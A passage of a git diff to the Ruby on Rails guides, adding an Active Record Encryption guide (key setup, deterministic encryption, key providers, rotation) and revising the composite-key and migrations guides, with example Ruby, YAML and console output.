+When a user opens the URL `/books/4_2`, the controller will extract the
+composite key value `["4", "2"]` and pass it to `Book.find` to render the right
+record in the view. The `extract_value` method may be used to extract arrays
+out of any delimited parameters.
+
+Composite Primary Key Fixtures
+------------------------------
+
+Fixtures for composite primary key tables are fairly similar to normal tables.
+When using an id column, the column may be omitted as usual:
+
+```ruby
+class Book < ApplicationRecord
+  self.primary_key = [:author_id, :id]
+  belongs_to :author
+end
+```
+
+```yml
+# books.yml
+alices_adventure_in_wonderland:
+  author_id: <%= ActiveRecord::FixtureSet.identify(:lewis_carroll) %>
+  title: "Alice's Adventures in Wonderland"
+```
+
+However, in order to support composite primary key relationships,
+you must use the `composite_identify` method:
+
+```ruby
+class BookOrder < ApplicationRecord
+  self.primary_key = [:shop_id, :id]
+  belongs_to :order, foreign_key: [:shop_id, :order_id]
+  belongs_to :book, foreign_key: [:author_id, :book_id]
+end
+```
+
+```yml
+# book_orders.yml
+alices_adventure_in_wonderland_in_books:
+  author: lewis_carroll
+  book_id: <%= ActiveRecord::FixtureSet.composite_identify(
+              :alices_adventure_in_wonderland, Book.primary_key)[:id] %>
+  shop: book_store
+  order_id: <%= ActiveRecord::FixtureSet.composite_identify(
+              :books, Order.primary_key)[:id] %>
+```
diff --git a/guides/source/active_record_encryption.md b/guides/source/active_record_encryption.md
new file mode 100644
index 0000000000000..5903bcb1ed70e
--- /dev/null
+++ b/guides/source/active_record_encryption.md
@@ -0,0 +1,843 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON
+<https://guides.rubyonrails.org>.**
+
+Active Record Encryption
+========================
+
+This guide covers how to encrypt data in your database using Active Record.
+
+After reading this guide, you will know:
+
+* How to set up database encryption with Active Record.
+* How to migrate unencrypted data.
+* How to make different encryption schemes coexist.
+* More about advanced concepts like Encryption Contexts and Key Providers.
+
+--------------------------------------------------------------------------------
+
+Active Record Encryption exists to protect sensitive information in your
+application, such as personally identifiable information (PII) about your users.
+Active Record supports application-level encryption by allowing you to declare
+which attributes should be encrypted. It enables transparent encryption and
+decryption of attributes when saving and retrieving data.
+
+## Why Encrypt Data at the Application Level?
+
+Encrypting specific attributes at the application level adds an additional
+security layer. For example, if someone gains access to your application logs or
+database backup, the encrypted data remains unreadable. It also helps avoid
+accidental exposure of sensitive information in your application console or
+logs.
+
+Most importantly, this feature lets you explicitly define what data is sensitive
+in your code. This enables precise access control throughout your application
+and any connected services. For example, you can use tools like
+[console1984](https://github.com/basecamp/console1984) to restrict decrypted
+data access in the Rails console. You can also take advantage of automatic
+[parameter filtering](#filtering-params-named-as-encrypted-attributes) for
+encrypted fields.
+
+## Setup
+
+To start using Active Record Encryption, you need to generate keys and declare
+attributes you want to encrypt in the model.
+
+### Generate Encryption Key
+
+You can generate a random key set by running `bin/rails db:encryption:init`:
+
+```bash
+$ bin/rails db:encryption:init
+Add this entry to the credentials of the target environment:
+
+active_record_encryption:
+  primary_key: YehXdfzxVKpoLvKseJMJIEGs2JxerkB8
+  deterministic_key: uhtk2DYS80OweAPnMLtrV2FhYIXaceAy
+  key_derivation_salt: g7Q66StqUQDQk9SJ81sWbYZXgiRogBwS
+```
+
+These values can be stored by copying and pasting the generated values into your
+existing [Rails credentials](/security.html#custom-credentials) file using
+`bin/rails credentials:edit`.
+
+Alternatively, the encryption keys can also be configured from other sources,
+such as environment variables:
+
+```ruby
+# config/application.rb
+config.active_record.encryption.primary_key = ENV["ACTIVE_RECORD_ENCRYPTION_PRIMARY_KEY"]
+config.active_record.encryption.deterministic_key = ENV["ACTIVE_RECORD_ENCRYPTION_DETERMINISTIC_KEY"]
+config.active_record.encryption.key_derivation_salt = ENV["ACTIVE_RECORD_ENCRYPTION_KEY_DERIVATION_SALT"]
+```
+
+WARNING: It's recommended to use Rails built-in credentials support to store
+keys. If you set them manually via configuration properties, make sure you don't
+commit them with your code (e.g. use environment variables).
+
+NOTE: The generated values are 32 bytes in length. If you generate these
+yourself, the recommended minimum length is 12 bytes for the primary key and 20
+bytes for the [salt](https://en.wikipedia.org/wiki/Salt_(cryptography)).
+
+Once the keys are generated and stored, you can start using Active Record
+Encryption by declaring attributes to be encrypted in the model.
+
+### Declare Encrypted Attributes
+
+The [`encrypts`
+method](https://api.rubyonrails.org/classes/ActiveRecord/Encryption/EncryptableRecord.html#method-i-encrypts)
+defines the attributes to be encrypted at the model level. These are regular
+Active Record attributes backed by a column with the same name.
+
+```ruby
+class Article < ApplicationRecord
+  encrypts :title
+end
+```
+
+Active Record Encryption will transparently encrypt these attributes before
+saving them to the database and will decrypt them upon retrieval. For example:
+
+```ruby
+article = Article.create(title: "Encrypt it all!")
+article.title # => "Encrypt it all!"
+```
+
+However, in the Rails console, the executed SQL looks like this:
+
+```sql
+INSERT INTO "articles" ("title", "created_at", "updated_at")
+VALUES ('{"p":"oq+RFYW8CucALxnJ6ccx","h":{"iv":"3nrJAIYcN1+YcGMQ","at":"JBsw7uB90yAyWbQ8E3krjg=="}}', ...) RETURNING "id"
+```
+
+The value inserted is a JSON object that contains the encrypted value for the
+`title` attribute. More specifically, the JSON object stores two keys: `p` for
+payload and `h` for headers. The ciphertext, which is compressed and encoded in
+Base64, is stored as the payload. The `h` key stores metadata needed to decrypt
+the value. The `iv` value is the initialization vector and `at` is
+authentication tag (used to ensure the ciphertext has not been tampered with).
+
+When looking at the `Article` in the Rails console, the encrypted attribute
+`title` will also be filtered:
+
+```irb
+my-app(dev)> Article.first
+  Article Load (0.1ms)  SELECT "articles".* FROM "articles" ORDER BY "articles"."id" ASC LIMIT ?  [["LIMIT", 1]]
+=> #<Article:0x00007f83fd9533b8
+    id: 1,
+    title: "[FILTERED]",
+    created_at: Fri, 12 Sep 2025 16:57:45.753372000 UTC +00:00,
+    updated_at: Fri, 12 Sep 2025 16:57:45.753372000 UTC +00:00>
+```
+
+### Important: Storage Considerations
+
+Encrypted data takes more storage because Active Record Encryption stores
+additional metadata alongside the encrypted payload, and the payload itself is
+Base64-encoded so it can fit safely in text-based columns.
+
+When using the built-in envelope encryption key provider, you can estimate the
+worst-case overhead to be around 255 bytes. This overhead is negligible for
+larger sizes. Encryption also uses compression by default, which can offer up to
+30% storage savings over the unencrypted version for larger payloads.
+
+When using `string` columns, it’s important to know that modern databases define
+the column size in terms of *number of characters*, not bytes. With encodings
+like UTF-8, a single character can take up to four bytes. This means that a
+column defined to hold N characters may actually consume up to 4 × N bytes in
+storage.
+
+Since an encrypted payload is binary data serialized with Base64, it can be
+stored in regular a `string` column. Because it's a sequence of ASCII bytes, an
+encrypted column can take up to four times its clear version size. So, even if
+the bytes stored in the database are the same, the column must be four times
+bigger.
+
+In practice, this means:
+
+* When encrypting short texts written in Western alphabets (mostly ASCII
+  characters), you should account for that 255 additional overhead when defining
+  the column size.
+* When encrypting short texts written in non-Western alphabets, such as
+  Cyrillic, you should multiply the column size by 4. Notice that the storage
+  overhead is 255 bytes at most.
+* When encrypting long texts, you can ignore column size concerns.
+
+For example:
+
+| Content to encrypt                                | Original column size | Recommended encrypted column size | Storage overhead (worst case) |
+| ------------------------------------------------- | -------------------- | --------------------------------- | ----------------------------- |
+| Email addresses                                   | string(255)          | string(510)                       | 255 bytes                     |
+| Short sequence of emojis                          | string(255)          | string(1020)                      | 255 bytes                     |
+| Summary of texts written in non-western alphabets | string(500)          | string(2000)                      | 255 bytes                     |
+| Arbitrary long text                               | text                 | text                              | negligible                    |
+
+## Basic Usage
+
+### Querying Encrypted Data: Deterministic vs. Non-deterministic Encryption
+
+By default, Active Record Encryption is non-deterministic, which means that
+encrypting the same value with the same key twice will result in *different*
+encrypted values (aka ciphertexts). The non-deterministic approach improves
+security by making crypto-analysis of ciphertexts harder. However, it also means
+that queries (such as `WHERE title = "Encrypt it all!"`) on encrypted values are
+not possible, since the same plaintext value can result in a different encrypted
+value that does not match the encrypted value previously stored in the JSON
+document.
+
+You can use deterministic encryption if you need to query using encrypted
+values. For example, the `email` field on the `Author` model below:
+
+```ruby
+class Author < ApplicationRecord
+  encrypts :email, deterministic: true
+end
+
+# You can only query by email if using deterministic encryption.
+Author.find_by_email("tolkien@email.com")
+```
+
+The `:deterministic` option generates initialization vectors in a deterministic
+way, meaning it will produce the same encrypted output given the same plaintext
+input value. This makes querying encrypted attributes possible by string
+equality comparison. For example, notice that the `p` and `iv` key in the JSON
+document have the same value when we create and when we query an Author's email:
+
+```irb
+my-app(dev)> author = Author.create(name: "J.R.R. Tolkien", email: "tolkien@email.com")
+  TRANSACTION (0.1ms)  begin transaction
+  Author Create (0.4ms)  INSERT INTO "authors" ("name", "email", "created_at", "updated_at") VALUES (?, ?, ?, ?) RETURNING "id"  [["name", "J.R.R. Tolkien"], ["email", "{\"p\":\"8BAc8dGXqxksThLNmKmbWG8=\",\"h\":{\"iv\":\"NgqthINGlvoN+fhP\",\"at\":\"1uVTEDmQmPfpi1ULT9Nznw==\"}}"], ["created_at", "2025-09-19 18:08:40.104634"], ["updated_at", "2025-09-19 18:08:40.104634"]]
+  TRANSACTION (0.1ms)  commit transaction
+
+my-app(dev)> Author.find_by_email("tolkien@email.com")
+  Author Load (0.1ms)  SELECT "authors".* FROM "authors" WHERE "authors"."email" = ? LIMIT ?  [["email", "{\"p\":\"8BAc8dGXqxksThLNmKmbWG8=\",\"h\":{\"iv\":\"NgqthINGlvoN+fhP\",\"at\":\"1uVTEDmQmPfpi1ULT9Nznw==\"}}"], ["LIMIT", 1]]
+=> #<Author:0x00007f8a396289d0
+    id: 3,
+    name: "J.R.R. Tolkien",
+    email: "[FILTERED]",
+    created_at: Fri, 19 Sep 2025 18:08:40.104634000 UTC +00:00,
+    updated_at: Fri, 19 Sep 2025 18:08:40.104634000 UTC +00:00>
+```
+
+In the above example, the initialization vector, `iv`, has the value
+`"NgqthINGlvoN+fhP"` for the same string. Even if you use the same email string
+in a different model instance (or different attribute with deterministic
+encryption), it will map to the same `p` and `iv` values:
+
+```irb
+my-app(dev)> author2 = Author.create(name: "Different Author", email: "tolkien@email.com")
+  TRANSACTION (0.1ms)  begin transaction
+  Author Create (0.4ms)  INSERT INTO "authors" ("name", "email", "created_at", "updated_at") VALUES (?, ?, ?, ?) RETURNING "id"  [["name", "Different Author"], ["email", "{\"p\":\"8BAc8dGXqxksThLNmKmbWG8=\",\"h\":{\"iv\":\"NgqthINGlvoN+fhP\",\"at\":\"1uVTEDmQmPfpi1ULT9Nznw==\"}}"], ["created_at", "2025-09-19 18:20:11.291969"], ["updated_at", "2025-09-19 18:20:11.291969"]]
+  TRANSACTION (0.1ms)  commit transaction
+```
+
+The `:deterministic` option allows for querying by trading off lesser security.
+The data is still encrypted but the determinism makes crypto-analysis easier.
+For this reason, non-deterministic encryption is recommended for all data unless
+you need to query by the encrypted attribute.
+
+NOTE: In non-deterministic mode, Active Record uses
+[AES](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard)-[GCM](https://en.wikipedia.org/wiki/Galois/Counter_Mode)
+with a 256-bits key and a random initialization vector. In deterministic mode,
+it also uses AES-GCM, but the initialization vector is not random. It is
+generated as a function of the key and the plaintext content
+([HMAC](https://en.wikipedia.org/wiki/HMAC)-SHA-256 digest of the two).
+
+NOTE: If you do not define a `deterministic_key`, then you have effectively
+disabled deterministic encryption.
+
+### Ignoring Case
+
+You might want to ignore the case when querying deterministically encrypted
+data. There are two options for achieving this - `:downcase` and `:ignore_case`.
+
+When you use the `:downcase` option when declaring the encrypted attribute, it
+converts the data to downcase before encryption occurs. This allows to
+effectively ignore case when querying data.
+
+```ruby
+class Person
+  encrypts :email_address, deterministic: true, downcase: true
+end
+```
+
+When using `:downcase`, the original case is lost.
+
+You can use the `:ignore_case` option when you want to preserve the original
+case for displaying but ignore the case when querying data:
+
+```ruby
+class Label
+  encrypts :name, deterministic: true, ignore_case: true # the encrypted content with the original case will be stored in the column `original_name`
+end
+```
+
+With the `:ignore_case` option, you need to add a new column named
+`original_<column_name>` to store the encrypted content with the case unchanged.
+When reading the `name` attribute, Rails will serve the version with the
+original case. When querying `name`, it will ignore case.
+
+### Serialized Attributes
+
+By default, Active Record Encryption will serialize values using the underlying
+type before encrypting them as long as the value is serializable as Strings. If
+the underlying type is not serializable as a String, you can use a custom
+[`message_serializer`](https://edgeapi.rubyonrails.org/classes/ActiveRecord/Encryption/MessageSerializer.html):
+
+```ruby
+class Article < ApplicationRecord
+  encrypts :metadata, message_serializer: SomeCustomMessageSerializer.new
+end
+```
+
+Attributes with structured types using the
+[`serialized`](https://api.rubyonrails.org/v8.0.2/classes/ActiveRecord/AttributeMethods/Serialization/ClassMethods.html#method-i-serialize)
+method can be encrypted as well. The `serialized` method is used when you have
+an attribute that needs to be saved to the database as a serialized object
+(using `YAML`, `JSON` or such), and retrieved by deserializing into the same
+object.
+
+WARNING: When using serialized attributes for custom types, the declaration of
+the serialized attribute should go **before** the encryption declaration:
+
+```ruby
+# CORRECT
+class Article < ApplicationRecord
+  serialize :title, type: Title
+  encrypts :title
+end
+
+# INCORRECT
+class Article < ApplicationRecord
+  encrypts :title
+  serialize :title, type: Title
+end
+```
+
+### Ensuring Uniqueness with Encrypted Data
+
+Checking for uniqueness is only supported with deterministically encrypted data.
+
+#### Unique Validations
+
+If an attribute is deterministically encrypted, a uniqueness validation can be
+specified normally, along with encryption:
+
+```ruby
+class Person
+  validates :email_address, uniqueness: true
+  encrypts :email_address, deterministic: true, downcase: true
+end
+```
+
+If you want to ignore the case for uniqueness, make sure to use the `:downcase`
+or `:ignore_case` option in the `encrypts` declaration. Using the
+`:case_sensitive` option in the validation won't work.
+
+NOTE: If you have a mix of unencrypted and encrypted data or if you have data
+that is encrypted using two different sets of keys/schemes, you'll need to
+enable [extended
+queries](configuring.html#config-active-record-encryption-extend-queries) with
+`config.active_record.encryption.extend_queries = true` in order to support
+unique validations.
+
+#### Unique Indexes
+
+In order to support unique indexes on deterministically encrypted attributes,
+it’s important to ensure that a given plaintext always produces the same
+ciphertext. This consistency is what makes indexing and querying possible.
+
+```ruby
+class Person
+  encrypts :email_address, deterministic: true
+end
+```
+
+In order for unique indexes to work, you will have to ensure that the encryption
+properties for the underlying attributes don't change.
+
+### Filtering Params Named as Encrypted Attributes
+
+Encrypted attributes are configured to be automatically
+[filtered](configuring.html#config-filter-parameters) out of the Rails logs. So
+sensitive information, like encrypted emails or credit card numbers, isn't
+stored in your logs. For example, if you are filtering the `email` field, you
+will see something like this in the logs: `Parameters: {"email"=>"[FILTERED]",
+...}`.
+
+In case you need to disable filtering of encrypted parameters, you can use the
+following configuration:
+
+```ruby
+# config/application.rb
+config.active_record.encryption.add_to_filter_parameters = false
+```
+
+When filtering is enabled, if you want to exclude specific attributes from
+automatic filtering, you can use this configuration:
+
+```ruby
+config.active_record.encryption.excluded_from_filter_parameters = [:catchphrase]
+```
+
+NOTE: When generating the filter parameter, Rails will use the model name as a
+prefix. E.g: For `User#email`, the filter parameter will be `user.email`.
+
+### Action Text
+
+You can encrypt Action Text attributes by passing `encrypted: true` in their
+declaration.
+
+```ruby
+class Message < ApplicationRecord
+  has_rich_text :content, encrypted: true
+end
+```
+
+NOTE: Passing individual encryption options to Action Text attributes is not
+supported. It will use non-deterministic encryption with the global encryption
+options configured.
+
+### Fixtures
+
+To allow your tests can use plain text values in the YAML fixture files for
+encrypted attributes, you can configure fixtures to be automatically encrypted
+by adding this configuration to your `config/environments/test.rb` file:
+
+```ruby
+Rails.application.configure do
+  config.active_record.encryption.encrypt_fixtures = true
+  # ...
+end
+```
+
+Without this setting, Rails would load fixture values as is. This wouldn't work
+for encrypted attributes and Active Record Encryption expects a JSON value in
+that column. However, when `encrypt_fixtures` is enabled, all the encryptable
+attributes will be automatically encrypted  and also seamlessly decrypted,
+according to the encryption settings defined in the model.
+
+#### Action Text Fixtures
+
+To encrypt Action Text fixtures, you can place them in
+`fixtures/action_text/encrypted_rich_texts.yml`.
+
+### Encoding
+
+When encrypting strings non-deterministically, their original encoding is
+preserved automatically.
+
+For deterministic encryption, Rails stores the string encoding alongside the
+ciphertext. However, to ensure consistent encryption output, especially for
+querying or enforcing uniqueness, the library forces UTF-8 encoding by default.
+This avoids producing different ciphertexts for identical strings with different
+encodings.
+
+You can customize this behavior. To change the default forced encoding:
+
+```ruby
+config.active_record.encryption.forced_encoding_for_deterministic_encryption = Encoding::US_ASCII
+```
+
+To disable forced encoding and preserve the original encoding in all cases:
+
+```ruby
+config.active_record.encryption.forced_encoding_for_deterministic_encryption = nil
+```
+
+### Compression
+
+Active Record Encryption enables compression of encrypted payloads by default.
+This can save up to 30% of the storage space for larger payloads.
+
+NOTE: Compression is enabled by default but *not* applied to all payloads. It is
+based on a size threshold (such as 140 bytes), which is used as a heuristic to
+determine if compression is "worth it".
+
+You can disable compression by setting the `compress` option to `false` when
+encrypting attributes:
+
+```ruby
+class Article < ApplicationRecord
+  encrypts :content, compress: false
+end
+```
+
+You can also configure the algorithm used for the compression. The default
+compressor is [`Zlib`](https://en.wikipedia.org/wiki/Zlib). You can implement
+your own compressor by creating a class or module that responds to `deflate` and
+`inflate` methods. For example:
+
+```ruby
+require "zstd-ruby"
+
+module ZstdCompressor
+  def self.deflate(data)
+    Zstd.compress(data)
+  end
+
+  def self.inflate(data)
+    Zstd.decompress(data)
+  end
+end
+
+class User
+  encrypts :name, compressor: ZstdCompressor
+end
+```
+
+You can also configure the desired compression method globally:
+
+```ruby
+config.active_record.encryption.compressor = ZstdCompressor
+```
+
+### Using the API
+
+Active Record Encryption is meant to be used declaratively, but there is also an
+API for debugging or advanced use cases.
+
+You can encrypt and decrypt all relevant attributes of an `article` model like
+this:
+
+```ruby
+article.encrypt # encrypt or re-encrypt all the encryptable attributes
+article.decrypt # decrypt all the encryptable attributes
+```
+
+You can check whether a given attribute is encrypted:
+
+```ruby
+article.encrypted_attribute?(:title)
+```
+
+You can read the `ciphertext` for an attribute:
+
+```ruby
+article.ciphertext_for(:title)
+```
+
+## Migrating Existing Data
+
+### Support for Unencrypted Data
+
+To ease the transition from unencrypted to encrypted attributes in your Rails
+application, you can enable support for unencrypted data with:
+
+```ruby
+config.active_record.encryption.support_unencrypted_data = true
+```
+
+When enabled:
+
+* Reading attributes that are still unencrypted will succeed without raising
+  errors.
+
+* Queries on deterministically encrypted attributes can match both encrypted and
+  cleartext values, if you also enable `extended_queries`:
+
+```ruby
+config.active_record.encryption.extend_queries = true
+```
+
+This setup is intended only for migration periods during which both encrypted
+and unencrypted data need to coexist in your application. Both options default
+to `false`, which is the recommended long-term configuration to ensure data is
+fully encrypted and enforced.
+
+### Support for Previous Encryption Schemes
+
+Changing encryption properties of attributes can break existing data. For
+example, imagine you want to make a deterministic attribute non-deterministic.
+If you change the declaration in the model, reading existing ciphertexts will
+fail because the encryption method is different now.
+
+To support these situations, you can specify previous encryption schemes to be
+used globally or on a per-attribute basis.
+
+Once you configure the previous scheme, the following will be supported:
+
+* When reading encrypted data, Active Record Encryption will try previous
+  encryption schemes if the current scheme doesn't work.
+
+* When querying deterministic data, it will add ciphertexts using previous
+  schemes so that queries work seamlessly with data encrypted with different
+  schemes.
+
+You need to enable `extended_queries` configuration for this to work:
+
+```ruby
+config.active_record.encryption.extend_queries = true
+```
+
+Next, let's see how to configure previous encryption schemes.
+
+#### Global Previous Encryption Schemes
+
+You can add previous encryption schemes by adding them as a list of properties
+using the `previous` config property in your `config/application.rb`:
+
+```ruby
+config.active_record.encryption.previous = [ { key_provider: MyOldKeyProvider.new } ]
+```
+
+#### Per-attribute Previous Encryption Schemes
+
+Use the `previous` option when declaring the encrypted attribute:
+
+```ruby
+class Article
+  encrypts :title, deterministic: true, previous: { deterministic: false }
+end
+```
+
+#### Encryption Schemes and Determinism
+
+With deterministic encryption, you typically want ciphertexts to remain
+constant. So when changing encryption schemes, non-deterministic and
+deterministic encryption behave differently.
+
+* With **non-deterministic encryption**, new information will always be
+  encrypted with the *newest* (current) encryption scheme.
+
+* With **deterministic encryption**, new information will be encrypted with the
+  *oldest* encryption scheme by default.
+
+It is possible to change this behavior for deterministic encryption to use the
+*newest* encryption scheme for encrypting new data like this:
+
+```ruby
+class Article
+  encrypts :title, deterministic: { fixed: false }
+end
+```
+
+## Encryption Contexts
+
+An encryption context defines the encryption components that are used at a given
+moment. There is a default encryption context based on your global
+configuration, but you can also configure a custom context for a given attribute
+or when running a specific block of code.
+
+NOTE: Encryption contexts are a flexible but advanced configuration mechanism.
+Most users would not need to use them.
+
+The main components of encryption contexts are:
+
+* `encryptor`: exposes the internal API for encrypting and decrypting data.  It
+  interacts with a `key_provider` to build encrypted messages and deal with
+  their serialization. The encryption/decryption itself is done by the `cipher`
+  and the serialization by `message_serializer`.
+* `cipher`: the encryption algorithm itself (AES 256 GCM).
+* `key_provider`: serves encryption and decryption keys.
+* `message_serializer`: serializes and deserializes encrypted payloads.
+
+WARNING: If you decide to build your own `message_serializer`, it's important to
+use safe mechanisms that can't deserialize arbitrary objects. A commonly
+supported scenario is encrypting existing unencrypted data. An attacker can
+leverage this to enter a tampered payload before encryption takes place and
+perform RCE attacks. This means custom serializers should avoid `Marshal`,
+`YAML.load` (use `YAML.safe_load`  instead), or `JSON.load` (use `JSON.parse`
+instead).
+
+### Built-In Encryption Context
+
+The global encryption context is the one used by default and is configured with
+other configuration properties in your `config/application.rb` or environment
+config files.
+
+```ruby
+config.active_record.encryption.key_provider = ActiveRecord::Encryption::EnvelopeEncryptionKeyProvider.new
+config.active_record.encryption.encryptor = MyEncryptor.new
+```
+
+You can use
+[`with_encryption_context`](`https://api.rubyonrails.org/classes/ActiveRecord/Encryption/Contexts.html#method-i-with_encryption_context`)
+to override any of the properties of the encryption context.
+
+### Encryption Context with a Block of Code
+
+You can set an encryption context for a given block of code using
+`with_encryption_context`:
+
+```ruby
+ActiveRecord::Encryption.with_encryption_context(encryptor: ActiveRecord::Encryption::NullEncryptor.new) do
+  # ...
+end
+```
+
+### Per-attribute Encryption Contexts
+
+You can override encryption context configuration by passing options in the
+attribute declaration:
+
+```ruby
+class Attribute
+  encrypts :title, encryptor: MyAttributeEncryptor.new
+end
+```
+
+### Encryption Context to Disable Encryption
+
+You can run code without encryption:
+
+```ruby
+ActiveRecord::Encryption.without_encryption do
+  # ...
+end
+```
+
+This means that reading encrypted text will return the ciphertext, and saved
+content will be stored unencrypted.
+
+### Encryption Context to Protect Encrypted Data
+
+You can run code in a block without encryption but prevent overwriting encrypted
+content:
+
+```ruby
+ActiveRecord::Encryption.protecting_encrypted_data do
+  # ...
+end
+```
+
+This can be handy if you want to protect encrypted data while running arbitrary
+code against it (e.g. in a Rails console).
+
+## Key Management
+
+Key providers implement key management strategies. You can configure key
+providers globally or on a per-attribute basis.
+
+### Built-in Key Providers
+
+#### DerivedSecretKeyProvider
+
+The
+[`DerivedSecretKeyProvider`](https://api.rubyonrails.org/classes/ActiveRecord/Encryption/DerivedSecretKeyProvider.html)
+serves keys derived from the provided passwords using PBKDF2. This is the key
+provider configured by default.
+
+```ruby
+config.active_record.encryption.key_provider = ActiveRecord::Encryption::DerivedSecretKeyProvider.new(["some passwords", "to derive keys from. ", "These should be in", "credentials"])
+```
+
+NOTE: By default, `active_record.encryption` configures a
+`DerivedSecretKeyProvider` with the keys defined in
+`active_record.encryption.primary_key`.
+
+#### EnvelopeEncryptionKeyProvider
+
+The
+[`EnvelopeEncryptionKeyProvider`](https://api.rubyonrails.org/classes/ActiveRecord/Encryption/EnvelopeEncryptionKeyProvider.html)
+implements a simple [envelope
+encryption](https://en.wikipedia.org/wiki/Hybrid_cryptosystem#Envelope_encryption)
+strategy, where the data is encrypted with a key, which in turn is also
+encrypted.
+
+The `EnvelopeEncryptionKeyProvider` generates a random key for each data
+encryption operation. It stores the data-key with the data itself. Then, the
+data-key is also encrypted with a primary key defined in the credential
+`active_record.encryption.primary_key`.
+
+You can configure Active Record to use this key provider by adding this to your
+`config/application.rb`:
+
+```ruby
+config.active_record.encryption.key_provider = ActiveRecord::Encryption::EnvelopeEncryptionKeyProvider.new
+```
+
+As with other built-in key providers, you can provide a list of primary keys in
+`active_record.encryption.primary_key` to implement key-rotation schemes.
+
+### Custom Key Providers
+
+For more advanced key-management schemes, you can configure a custom key
+provider in an initializer:
+
+```ruby
+ActiveRecord::Encryption.key_provider = MyKeyProvider.new
+```
+
+A key provider must implement this interface:
+
+```ruby
+class MyKeyProvider
+  def encryption_key
+  end
+
+  def decryption_keys(encrypted_message)
+  end
+end
+```
+
+Both methods return `ActiveRecord::Encryption::Key` objects:
+
+- `encryption_key` returns the key used for encrypting some content
+- `decryption_keys` returns a list of potential keys for decrypting a given
+  ciphertext.
+
+A key can include arbitrary tags that will be stored unencrypted with the
+message. You can use
+[`ActiveRecord::Encryption::Message#headers`](https://edgeapi.rubyonrails.org/classes/ActiveRecord/Encryption/Message.html)
+to examine those values when decrypting.
+
+### Attribute-specific Key Providers
+
+You can configure a key provider on a per-attribute basis with the
+`key_provider` option. For example, assuming you have defined a custom key
+provider called `ArticleKeyProvider`:
+
+```ruby
+class Article < ApplicationRecord
+  encrypts :summary, key_provider: ArticleKeyProvider.new
+end
+```
+
+### Attribute-specific Keys
+
+You can configure a specific key for a given attribute using the `key` option:
+
+```ruby
+class Article < ApplicationRecord
+  encrypts :summary, key: ENV["SOME_SECRET_KEY_FOR_ARTICLE_SUMMARIES"]
+end
+```
+
+Active Record will use the key passed to `encrypts` to encrypt and decrypt the
+`summary` attribute above.
+
+### Rotating Keys
+
+Active Record Encryption can work with lists of keys to support implementing key
+rotation schemes. The reason to rotate keys may be as part of your
+organization's security policy or if you suspect a key may be compromised.
+
+In the example below, the *last key* is used for encrypting new content and all
+keys are tried when decrypting content until one works.
+
+```yml
+active_record_encryption:
+  primary_key:
+    - a1cc4d7b9f420e40a337b9e68c5ecec6 # Previous keys can still decrypt existing content
+    - bc17e7b413fd4720716a7633027f8cc4 # Active, encrypts new content
+  key_derivation_salt: a3226b97b3b2f8372d1fc6d497a0c0d3
+```
+
+This enables key rotation workflow where you keep a short list of keys by adding
+new keys, re-encrypting content, and deleting old keys.
+
+NOTE: Rotating keys is not supported for deterministic encryption.
+
+### Storing Key References
+
+You can store a reference to the encryption key in the encrypted message itself.
+The advantage of doing this is that decryption can be more performant as the
+system does not have to try a list of keys to find one that works. The tradeoff
+is that the encryption data will be a bit larger.
+
+In order to store a key reference, you need to enable this configuration:
+
+```ruby
+config.active_record.encryption.store_key_references = true
+```
+
diff --git a/guides/source/active_record_migrations.md b/guides/source/active_record_migrations.md
index 6e7e29ed609a8..8197f877e2426 100644
--- a/guides/source/active_record_migrations.md
+++ b/guides/source/active_record_migrations.md
@@ -1,41 +1,48 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Active Record Migrations
 ========================
 
 Migrations are a feature of Active Record that allows you to evolve your
 database schema over time. Rather than write schema modifications in pure SQL,
-migrations allow you to use an easy Ruby DSL to describe changes to your
-tables.
+migrations allow you to use a Ruby Domain Specific Language (DSL) to describe
+changes to your tables.
 
 After reading this guide, you will know:
 
-* The generators you can use to create them.
-* The methods Active Record provides to manipulate your database.
-* The bin/rails tasks that manipulate migrations and your schema.
+* Which generators you can use to create migrations.
+* Which methods Active Record provides to manipulate your database.
+* How to change existing migrations and update your schema.
 * How migrations relate to `schema.rb`.
+* How to maintain referential integrity.
 
 --------------------------------------------------------------------------------
 
 Migration Overview
 ------------------
 
-Migrations are a convenient way to
-[alter your database schema over time](http://en.wikipedia.org/wiki/Schema_migration)
-in a consistent and easy way. They use a Ruby DSL so that you don't have to
-write SQL by hand, allowing your schema and changes to be database independent.
+Migrations are a convenient way to [evolve your database schema over
+time](https://en.wikipedia.org/wiki/Schema_migration) in a reproducible way.
+They use a Ruby [DSL](https://en.wikipedia.org/wiki/Domain-specific_language) so
+that you don't have to write [SQL](https://en.wikipedia.org/wiki/SQL) by hand,
+allowing your schema and changes to be database independent. We recommend that
+you read the guides for [Active Record Basics](active_record_basics.html) and
+the [Active Record Associations](association_basics.html) to learn more about
+some of the concepts mentioned here.
 
 You can think of each migration as being a new 'version' of the database. A
 schema starts off with nothing in it, and each migration modifies it to add or
-remove tables, columns, or entries. Active Record knows how to update your
-schema along this timeline, bringing it from whatever point it is in the
-history to the latest version. Active Record will also update your
-`db/schema.rb` file to match the up-to-date structure of your database.
+remove tables, columns, or indexes. Active Record knows how to update your
+schema along this timeline, bringing it from whatever point it is in the history
+to the latest version. Read more about [how Rails knows which migration in the
+timeline to run](#rails-migration-version-control).
 
-Here's an example of a migration:
+Active Record updates your `db/schema.rb` file to match the up-to-date structure
+of your database. Here's an example of a migration:
 
 ```ruby
-class CreateProducts < ActiveRecord::Migration[5.0]
+# db/migrate/20240502100843_create_products.rb
+class CreateProducts < ActiveRecord::Migration[8.2]
   def change
     create_table :products do |t|
       t.string :name
@@ -47,156 +54,179 @@ class CreateProducts < ActiveRecord::Migration[5.0]
 end
 ```
 
-This migration adds a table called `products` with a string column called
-`name` and a text column called `description`. A primary key column called `id`
-will also be added implicitly, as it's the default primary key for all Active
-Record models. The `timestamps` macro adds two columns, `created_at` and
-`updated_at`. These special columns are automatically managed by Active Record
-if they exist.
-
-Note that we define the change that we want to happen moving forward in time.
-Before this migration is run, there will be no table. After, the table will
-exist. Active Record knows how to reverse this migration as well: if we roll
-this migration back, it will remove the table.
-
-On databases that support transactions with statements that change the schema,
-migrations are wrapped in a transaction. If the database does not support this
-then when a migration fails the parts of it that succeeded will not be rolled
-back. You will have to rollback the changes that were made by hand.
-
-NOTE: There are certain queries that can't run inside a transaction. If your
